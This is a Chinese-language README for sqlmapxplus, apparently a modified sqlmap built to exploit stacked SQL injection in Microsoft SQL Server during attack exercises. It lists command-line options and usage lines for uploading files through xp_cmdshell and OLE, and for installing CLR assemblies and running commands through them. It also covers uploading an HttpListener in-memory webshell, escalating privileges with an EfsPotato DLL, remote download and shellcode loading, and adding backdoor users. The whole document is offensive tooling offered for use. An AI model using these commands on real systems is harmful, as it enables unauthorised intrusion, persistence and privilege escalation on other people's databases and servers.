在眾多的地區性攻防演練中,SQL Server資料庫堆疊注入仍有較高的爆洞頻率,但因為一些常見的演練場景限制,如不出網、低權限、站庫分離、終端防護、上線困難、權限維持繁瑣等,只有一個--os-shell已經難滿足我們的需求。
sqlmapxplus 基於sqlmap,對經典的資料庫漏洞利用工具進行二開,參考各種解決方法,增加MSSQL資料庫注入的利用方式。目前已完成部分二開,包括ole、xpcmdshell兩種檔案上傳、內存馬上傳、clr安裝功能,能夠實現mssql注入場景下的自動化注入內存馬、自動化提權、自動化添加後門用戶、自動化遠端文件下載、自動化shellcode載入功能。
20240508 更新說明: 新增開啟ole功能、 新增指定檔案讀取功能、 新增指定檔案移動功能、 新增指定檔案複製功能、 新增指定檔案刪除功能、 新增指定檔案位置判斷功能、 新增存儲流程查詢功能、 新增刪除預存程序功能、修改ole上傳方式、修改clr安裝流程、修改clr指令執行方式、 移除中文註解導致的報錯
針對實際網路過程中dll傳輸損失導致clr安裝失敗的問題(暫時解決方法) 發現在原--install-clr功能中使用的clr dll太大,在實戰中往往需要注入的大量次數,如果注入過程中的某一次出現錯誤,會導致dll落地失敗,無法成功打入dll,現將原本一鍵自動安裝的流程去除,修改為用戶需要根據實際的目標情況,自定義的dll安裝、 臨時增加--check- file 選項判斷dll檔案是否成功落地目標主機、暫時增加--check-clr 判斷使用者自訂函數是否在資料庫中載入成功
為什麼使用上傳過程中會出現dll放大的問題轉換為十六進位落地再還原導致的檔案增大,如字母A 經過十六進位會轉換為41,增大一倍
自訂clr的問題(已完成) install-clr修改為,需要指定自訂的clr.dll路徑,在提示框輸入使用者自訂類別名稱使用者自訂方法名稱clr_shell模式下執行clr函數的方式修改為:使用者自訂function 傳入參數(已完成)
File system access: --xp-upload upload file by xp_cmdshell --ole-upload upload file by ole --check-file use xp_fileexis check file exist --ole-del delete file by ole --ole-read read file content by ole --ole-move move file by ole --ole-copy copy file by ole Operating system access: --enable-clr enable clr --disable-clr disable clr --enable-ole enable ole --check-clr check user-defined functions in the database --del-clr delete user-defined functions in the database --install-clr install clr --clr-shell clr shell --sharpshell-upload1 sharpshell upload1 --sharpshell-upload2 sharpshell upload2
about ole :
# 开启 ole 利用功能 python sqlmap.py -r/-u xxx --enable-ole # 通过 ole 上传文件 python sqlmap.py -r/-u xxx --ole-upload local_file_path --file-dest remote_file_path # 通过 ole 删除指定文件 python sqlmap.py -r/-u xxx --ole-del remote_file_path # 通过 ole 阅读指定文件 python sqlmap.py -r/-u xxx --ole-read remote_file_path # 通过 ole 移动并重命名文件 python sqlmap.py -r/-u xxx --ole-move remote_file_path1 --file-dest remote_file_path # 通过 ole 复制文件 python sqlmap.py -r/-u xxx --ole-copy remote_file_path1 --file-dest remote_file_path2 # 通过 ole 实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload2
other function:
# 通过 xp_cmdshell 上传文件 python sqlmap.py -r/-u xxx --xp-upload local_file_path --file-dest remote_file_path # 使用 xp_fileexis 来检查文件是否存在 python sqlmap.py -r/-u xxx --check-file remote_file_path # 查询数据库中是否存在用户自定义函数 python sqlmap.py -r/-u xxx --check-clr clr_function_name # 删除用户自定义函数 python sqlmap.py -r/-u xxx --del-clr clr_function_name # 通过 xp_cmdshell实现的HttpListener内存马上传方式 # 默认上传至c:Windowstaskslisten.tmp.txt,需要以system权限运行 python sqlmap.py -r/-u xxx --sharpshell-upload1
about clr :
# 开启 clr 利用功能 python sqlmap.py -r/-u xxx --enable-clr # 关闭 clr 利用功能 python sqlmap.py -r/-u xxx --disable-clr # 进入 clr 安装模式 python sqlmap.py -r/-u xxx --install-clr # 进入 clr-shell 命令交互模式 python sqlmap.py -r/-u xxx --clr-shell # clr dll 参考如下,更多其他dll请参考星球获取 # 存储过程类名Xplus,存储过程函数名需要注意大小写,分别为 # ClrExec、ClrEfsPotato、ClrDownload、ClrShellcodeLoader # 对应项目目录下单独功能的dll,分别为 clrexec.dll clrefspotato.dll clrdownload.dll clrshellcodeloader.dl
公眾號:賽博大作戰
知識星球:滲透測試寶典
舊版的參考連結:https://mp.weixin.qq.com/s/nTYPKnl9XQLWhZ43sQV3xw
新版本的參考連結:https://mp.weixin.qq.com/s/6RpxXitEPt8rA1DFb56Oxw
https://github.com/sqlmapproject/sqlmap
https://github.com/uknowsec/SharpSQLTools
https://github.com/Anion3r/MSSQLProxy
https://mp.weixin.qq.com/s/X0cI85DdB17Wve2qzCRDbg
https://yzddmr6.com/posts/asp-net-memory-shell-httplistener/